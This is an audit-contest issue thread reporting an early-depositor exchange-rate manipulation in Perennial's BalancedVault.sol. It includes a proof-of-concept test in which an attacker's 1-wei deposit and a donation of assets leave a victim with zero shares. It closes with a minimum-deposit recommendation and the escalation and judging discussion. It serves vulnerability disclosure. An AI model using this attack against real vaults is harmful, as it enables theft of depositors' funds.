roguereddwarf - BalancedVault.sol: Early depositor can manipulate exchange rate and steal funds

[sherlock-admin]

roguereddwarf

medium

BalancedVault.sol: Early depositor can manipulate exchange rate and steal funds

Summary

The first depositor can mint a very small number of shares, then donate assets to the Vault.
Thereby he manipulates the exchange rate and later depositors lose funds due to rounding down in the number of shares they receive.

The currently deployed Vaults already hold funds and will merely be upgraded to V2. However as Perennial expands there will surely be the need for more Vaults which enables this issue to occur.

Vulnerability Detail

You can add the following test to BalancedVaultMulti.test.ts.
Make sure to have the dsu variable available in the test since by default this variable is not exposed to the tests.

The test is self-explanatory and contains the necessary comments:

it('exchange rate manipulation', async () => {
      const smallDeposit = utils.parseEther('1')
      const smallestDeposit = utils.parseEther('0.000000000000000001')

      // make a deposit with the attacker. Deposit 1 Wei to mint 1 Wei of shares
      await vault.connect(user).deposit(smallestDeposit, user.address)
      await updateOracle();
      await vault.sync()

      console.log(await vault.totalSupply());

      // donating assets to Vault
      await dsu.connect(user).transfer(vault.address, utils.parseEther('1'))

      console.log(await vault.totalAssets());

      // make a deposit with the victim. Due to rounding the victim will end up with 0 shares
      await updateOracle();
      await vault.sync()
      await vault.connect(user2).deposit(smallDeposit, user2.address)
      await updateOracle();
      await vault.sync()

      console.log(await vault.totalAssets());
      console.log(await vault.totalSupply());
      // the amount of shares the victim receives is rounded down to 0
      console.log(await vault.balanceOf(user2.address));

      /*
      at this point there are 2000000000000000001 Wei of assets in the Vault and only 1 Wei of shares
      which is owned by the attacker.
      This means the attacker has stolen all funds from the victim.
      */
    })

Impact

The attacker can steal funds from later depositors.

Code Snippet

https://github.com/sherlock-audit/2023-05-perennial/blob/main/perennial-mono/packages/perennial-vaults/contracts/balanced/BalancedVault.sol#L775-L778

Tool used

Manual Review

Recommendation

This issue can be mitigated by requiring a minimum deposit of assets.
Thereby the attacker cannot manipulate the exchange rate to be so low as to enable this attack.

[arjun-io]

The inflation attack has been reported and paid out on Immunefi (happy to provide proof here if needed) - we have added a comment describing this attack here: equilibria-xyz/perennial-mono#194

[mstpr]

Escalate for 10 USDC
I think this is an informational issue.

The finding is correct. However, in order this to be applicable, the first depositor needs to be the only depositor in the epoch (first epoch) they deposited. So, it is way harder to pull off this attack than a regular 4626 vault. Considering oracles are updating every 3 hours minimum (heartbeat of chainlink, assuming no price deviation) the attacker needs to be the first depositor for the epoch not the actual first depositor. Protocol team can easily deposit some considerable amount after deployment and mitigate this attack.

[sherlock-admin]

Escalate for 10 USDC
I think this is an informational issue.

The finding is correct. However, in order this to be applicable, the first depositor needs to be the only depositor in the epoch (first epoch) they deposited. So, it is way harder to pull off this attack than a regular 4626 vault. Considering oracles are updating every 3 hours minimum (heartbeat of chainlink, assuming no price deviation) the attacker needs to be the first depositor for the epoch not the actual first depositor. Protocol team can easily deposit some considerable amount after deployment and mitigate this attack.

You've created a valid escalation for 10 USDC!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[roguereddwarf]

Escalate for 10 USDC

I think this is a valid Medium and disagree with the first escalation.

First I'd like to comment on the issue that was submitted via Immunefi that the sponsor has linked to.
The commit has been made on June 16th and the contest ended on June 15th.
So it is clear that I did not just copy the attack vector from the repo, and this is indeed a valid finding.
(Just want to make sure there can be no suspicion of me copying the issue)

Furthermore the first escalation explains that this is a tricky attack scenario.
While true, there is a valid scenario which can occur with realistic on-chain conditions as new Vaults get deployed.

Also the first escalation pointed out that this could be mitigated by seeding the Vault with some initial funds.
While this could be a solution, clearly this is not something the sponsor had in mind, specifically since the issue was accepted on Immunefi and there is no mention of seeding the Vault in the docs.

What remains therefore is a valid attack path (even though unlikely) leading to a loss of funds.
So I think this should be a valid Medium.

[sherlock-admin]

Escalate for 10 USDC

I think this is a valid Medium and disagree with the first escalation.

First I'd like to comment on the issue that was submitted via Immunefi that the sponsor has linked to.
The commit has been made on June 16th and the contest ended on June 15th.
So it is clear that I did not just copy the attack vector from the repo, and this is indeed a valid finding.
(Just want to make sure there can be no suspicion of me copying the issue)

Furthermore the first escalation explains that this is a tricky attack scenario.
While true, there is a valid scenario which can occur with realistic on-chain conditions as new Vaults get deployed.

Also the first escalation pointed out that this could be mitigated by seeding the Vault with some initial funds.
While this could be a solution, clearly this is not something the sponsor had in mind, specifically since the issue was accepted on Immunefi and there is no mention of seeding the Vault in the docs.

What remains therefore is a valid attack path (even though unlikely) leading to a loss of funds.
So I think this should be a valid Medium.

You've created a valid escalation for 10 USDC!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[mstpr]

Thinking more on this, I think I agree this is a valid medium. Although it is harder to make this attack because of the epoch things it is still almost free for attacker to try. So, attacker can just deposit 1 Wei and hope they're the first depositor.

Not deleting my escalation just in case @roguereddwarf escalation stands unresponded and lead him to lose 10 USDC.

[KenzoAgada]

Issue should remain medium.
The escalator also agrees to that, as seen in the previous comment.

[jacksanford1]

Result:
Medium
Has duplicates
See mstpr comment above.

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• roguereddwarf: accepted
• mstpr: rejected

[arjun-io]

As stated above we've updated the comment to reflect share inflation is possible: equilibria-xyz/perennial-mono#194

We won't be adding a solidity level fix at this time, but we will update our deploy scripts to create an initial deposit